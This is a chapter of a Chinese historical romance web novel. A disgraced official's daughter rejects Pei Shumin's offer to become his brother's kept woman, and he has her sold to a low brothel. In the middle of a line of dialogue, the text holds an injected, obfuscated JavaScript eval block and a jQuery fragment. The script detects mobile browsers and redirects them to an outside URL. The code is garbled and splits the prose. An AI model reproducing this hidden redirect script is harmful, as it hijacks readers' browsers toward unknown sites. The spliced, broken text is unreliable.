锁春娇铁铁小板凳

20. 第 20 章

    裴书敏神情认真地说完那句贴心的忠告。


    苏云缈一时未语,只低着头,肩膀抖动,白玉耳环也连连震颤。


    讥讽的笑不由自主地流露而出。


    “哈哈哈——!”她几乎笑出眼泪,盯视着裴书敏问道:“我最好的归宿吗?我苏家原也是名门望族,沐皇恩,绵延世泽,而你们裴家!只因与我苏家政见不合,便巧言构陷,蒙蔽圣上,致使我苏家亲人离散,阴阳两隔,你如今却让我俯首于裴家人?”


    她收了笑,唇边依然挟着轻蔑,端坐于榻前的身影不卑不亢。


    待她那激荡不甘的尾音彻底消失,室内重新归于宁静。


    裴书敏靠坐在床头,历来处事不惊的他也不免被苏云缈话语中的憎恨所感染。


    “苏姑娘,我理解你的心情……”


    裴书敏轻叹道:“但其中实在有误会,你说裴家污蔑你父亲,这却是欲加之罪了。四皇子豢养私兵,图谋不轨,层层盘查时这才揭晓出你父亲,他暗自助力,抽调河堤钱款收买官员,犯了圣上的大忌,桩桩件件都确切无疑,与我们裴家又有什么关系?”


    “不可能!”苏云缈断喝:“这都是你们往我父亲身上泼的脏水,他在任几十余年,向来廉洁奉公,怎会如此!”


    她记忆中的父亲虽待她们姐妹俩严格了些,可爱女之心只多不少,她容不得父亲被人这般污蔑。


    裴书敏却再次露出同情的眼神。


    苏云缈在他面前总是被褪去了冷静的外衣,在那样的注目下,她仿佛被当成一个受蒙蔽的可怜虫,怎还能保持理智。


    四周药香弥漫,而苏云缈心中亦如泼洒了苦涩的药汁。


    家族之间的深仇大恨,他们两人纵使辩个三天三夜也辩不分明。


    木已成舟,还有什么可争论的。


    她缓缓移开视线,站起身,冷道:“我父亲已死,你如何说都是了,我不想再与你争口舌之快。如今你既不与我坦明意图,那便放我出府,纵我什么下场,与你又有何关?”


    裴家乘了苏家倒台的东风,如今他们裴家人青云直上,尽情去走他的阳关大道。


    苏云缈的态度重新归于冷淡,不欲与他多待,说完便要走。


    “等一下!”


    身后传来劝阻。


    苏云缈却没有停顿地抬脚欲迈过门槛,分明不想与他再多交流。


    沾染了药渍的绸被掀到一旁,裴书敏双脚才沾地便道不好,他身体孱弱多病,这次还未恢复就强行走动,咬紧了牙根攥住床栏才没狼狈摔倒,他刚一站稳便抬头急道:“你忘了自己如今何等身份了?出了这道府门你便会被官兵抓住。”


    院内众人似乎已听出两人争吵的话音,早早地避开了。


    苏云缈站在门前,目光直视着雅致精巧的各色摆件与那冬末依然盛放娇艳的奇花异草。


    这样奢华的府邸,从前的苏府也是一样的。


    苏云缈听着身后之人的警告,只不为所动地扯了扯唇。


    逆着光的背影渐渐拉长了,投射在门内,透出几分清傲孤绝的意味。


    裴书敏第一次遇见如此倔强的女子,头也不回地去撞那南墙,明明生路就在身后,却不屑一顾地放弃了。


    他站不了太长时间,再加上房门洞开,嶙嶙冷风钻入单薄的绸衣之中,激得他咳喘不止。


    待胸中窒息之感稍顿,裴书敏唤住她,劝说道:“你对裴家有恨可以,但你也应想想自己的处境,你如今无依无靠,身边又有一幼妹需要照拂,若失去裴铮的荫庇,你们姐妹俩是何下场,你真的明白?”


    “威胁我么?”苏云缈回头,静静地看着他。


    那双眼眸闪烁着刺骨的恨。


    裴书敏坚定地摇了摇头,“不,我只是想说你明明可以活得更舒服些,大好年华何必走向死途。”


    苏云缈这次却彻底转过了身,鬓边碎发被狂风吹拂,她扶住了门框,秀眉轻扬,冷笑道:“裴公子真乃当世活佛,如此关心我的生死,可没掺杂着半分图谋?”


    她突然话语生硬地刺向他,裴书敏目光躲闪了一刹,继而恢复如常,清清楚楚地说道:“不错,我确实有一己私心,只是于苏姑娘来说,百利而无一害。”


    听到他这样说,苏云缈并不意外。


    从裴书敏救她上马车那天,便一直以温情示人,分外关心她的安危。


    仇敌相见,一个仍身处云端,另一个则跌入泥沼。


    裴书敏竟不惜玷污了袖袍,甘愿俯身拉她出苦海。


    她孑然一身,并没有任何利用价值。


    除非是涉及了那人。


    裴书敏如今名义上的弟弟。


    “是因为裴铮,对吗?”苏云缈吐出那人姓名,切齿冷笑。


    裴书敏也直截了当地承认了,“是,阿铮他对你的心思你是明白的,这世上若说能动摇他心念的也仅有你一人。”


    “可他如今身份不同,他被我父亲收为义子,将来承袭爵位,怎能痴迷于一女子,何况还是犯官之女。”


    “我父亲早已察觉你与他之间的事。”裴书敏冷静吐露出了国公府的隐秘:“我父亲不会允许阿铮沉迷于女色,以他性格,想要彻底解决这隐患,就会从你身上下手。”


    苏云缈只当他还在虚情假意,讥讽道:“这么说……裴公子还是在关心我的生死?”


    裴书敏却避让了她的视线,跌坐于床上,用绸被盖住疼痛不止的双腿,这才徐徐道:“若我父亲杀了你,那阿铮必然不会善罢甘休,因一女子生出龃龉,那便不值当了。”


    不等他再说,苏云缈却忽然寻出不妥之处,毫不留情地戳穿道:“誉国公还未糊涂吧?放着嫡子不管,却将爵位拱手让给外姓旁人?”


    “这是府内私事。”


    裴书敏轻描淡写地揭过这个问题,并不像做过多解答,继续道:


    “我想出一个万全之策,于你我都有益处。”


    “你留在阿铮身边,虽无名无分,但至少能护住幼妹安稳度日,你们的奴籍裴家也会妥善处理,不会留下把柄。待阿铮将来娶了正妻过门,若到时他对你失了兴趣,我会为你谋划好去路,不会让你沦落街头。”


    留在裴铮身边……


    苏云缈伸手按在胸前,压抑住那烦乱躁动的心绪,冷冰冰地开口,将那些毫不留情的话语一字不漏地传达给那分外自信的人。


    “确实是万全之策,可若我说我不愿呢?”她扬声:“纵使去娼寮里做低贱的妓子我也不愿听从你的劝告,更不愿日日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046232|160991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜夜与裴铮相伴!”


    若说女子似水,那苏云缈便是刀砍不断,火炼不化的万年坚冰。


    裴书敏直望着那站在阳光下那秀丽娇弱的女子,好似风一吹就能倒似的。


    他是真拿她没办法……


    裴书敏低眸掩了情绪,击了击掌,不高不低的清脆两声过后,那看似平静无澜的院内竟陡然跳出两名着了黑衣的暗卫。


    “苏姑娘既执迷不悟,那便带她去,看看她能待上多久。”


    图穷匕见,终于不演了吗?


    苏云缈移开视线,任那暗卫带她一路出府。


    她已料想裴书敏劝说无果后会将她从新送回教坊司。


    当马车到了地方,暗卫催促她下马车。


    撩起轿帘的那一刻,苏云缈却彻底愣住了。


    此地并不是专供达官贵人享乐的教坊司。


    四周并无繁华装潢,亦无悠扬曲乐。


    门头破败,甚至连那黄杨木的门槛发了霉也无人清理。


    苏云缈何时踏足过这种地界。


    她左右扫视,发觉自己正站在一处深巷中,高墙遮挡了大片的阳光,地上未铺石砖,触目可及皆是泥泞,毫无落脚之处。


    而面前不再是三层楼阁,而是低矮平房,斑驳木门上还贴着过年时的门神画像,劣质红纸咧开了边角,萎靡地耷拉着,随着门开而剧烈晃动了一下。


    门后也几乎没有灯光,幽黑的影子里探出一个异常煞白的女人脸,大红的嘴唇开合,一把嗓子如破锣般叫道:“又来新人了?”


    苏云缈打量着她,想到四周糟糕的环境,呼吸陡然急促起来。


    裴书敏竟将她发卖到了最末等的窑子里!


    若说被送往教坊司还能留住一丝颜面。


    可偏偏等着她的却是最不堪的境地。


    两名暗卫看她踌躇不前,面无表情道:“苏姑娘请进吧,我们还等着完成差事回禀公子呢。”


    老鸨迈出来,带着一股刺鼻的味道接近苏云缈,她细细地捏过苏云缈的手,着重注意那易生茧子的掌心与指腹,又抬头看了看她的脸,忽然笑道:“两位大人莫不是与我玩笑,这样上等的货色放在我这可真是暴殄天物了,再说我也付不起这价钱。”


    暗卫抱着肩,当着苏云缈的面与那老鸨讨价还价道:“你最多能出多少?”


    老鸨伸出五个指头,“最多五两。”


    “成!人你领走吧!”


    苏云缈骤然变了脸色,看见两名暗卫接过钱后头也不回地离开。


    她就这般被轻易贱卖了,区区五两银子。


    从前在苏府,这五两银子便是一名丫鬟也买不来。


    浑身的血肉似乎都放在烈火上烹烤,疼得她摇摇欲坠,脸色煞白,对那出手狠辣的裴书敏更是多了一层恨意。


    老鸨喜笑颜开地伸手攥住了她的袖子,直接将不备的苏云缈拉入屋内。


    大门“咣当!”一声闭拢。


    苏云缈来不及适应昏暗场所,霎时失去了视野,周遭的密密匝匝的响声也就更加刺耳。


    老鸨带着笑的话音、衣裳布料的摩挲声、牌九碰撞的脆响、女人痛苦的尖叫以及男子粗重的鼻息。


    各种不堪的声音皆混杂在一起。